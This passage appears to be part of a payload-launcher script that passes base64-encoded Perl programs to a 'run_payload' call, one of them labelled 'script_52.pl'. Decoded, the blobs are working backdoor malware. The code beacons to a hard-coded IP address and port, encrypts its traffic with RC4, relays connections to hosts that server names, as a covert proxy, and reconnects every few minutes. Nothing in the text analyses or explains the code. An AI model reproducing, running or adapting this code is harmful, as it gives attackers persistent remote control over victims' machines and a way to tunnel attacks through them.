ic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_52.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5z